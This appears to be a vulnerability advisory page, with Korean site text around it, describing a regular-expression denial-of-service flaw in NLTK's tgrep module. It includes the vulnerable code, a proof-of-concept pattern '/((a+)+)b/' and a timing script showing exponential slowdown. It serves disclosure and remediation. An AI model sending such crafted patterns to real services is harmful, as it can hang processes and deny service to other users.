NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
1def _tgrep_node_action(_s, _l, tokens): 2 ... 3 elif tokens[0].startswith("/"): 4 assert tokens[0].endswith("/") 5 node_lit = tokens[0][1:-1] 6 return ( 7 lambda r: lambda n, m=None, l=None: r.search( 8 _tgrep_node_literal_value(n) 9 )10 )(re.compile(node_lit)) # User regex compiled and executed with no timeoutThe compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
1import nltk 2from nltk.tgrep import tgrep_positions 3 4# Root node label is 25 'a' characters. 5# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") 6# No 'b' is present — exponential backtracking occurs. 7tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))") 8tgrep_positions(r"/((a+)+)b/", [tree]) # Never returnsWorking Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
1import nltk 2from nltk.tgrep import tgrep_positions 3import time 4 5def test_n(n): 6 tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))") 7 pattern = r"/((a+)+)b/" 8 start = time.perf_counter() 9 list(tgrep_positions(pattern, [tree]))10 return time.perf_counter() - start11 12if __name__ == "__main__":13 # Adjust the range if needed – these values complete quickly14 n_values = [18, 20, 22, 24, 26, 28]15 print(f"Testing n = {n_values}\n")16 17 times = []18 for n in n_values:19 t = test_n(n)20 times.append((n, t))21 print(f"n={n:2d} done", flush=True)22 23 print("\n--- Increase factors (per step in n) ---")24 factors = []25 for i in range(1, len(times)):26 prev_n, prev_t = times[i-1]27 curr_n, curr_t = times[i]28 factor = curr_t / prev_t29 factors.append((curr_n, factor))30 print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")31 32 avg = sum(f for _, f in factors) / len(factors)33 print(f"\nAverage factor: {avg:.2f}x")34 print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")35 print(" Larger n (≥ 35) will hang indefinitely.")When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…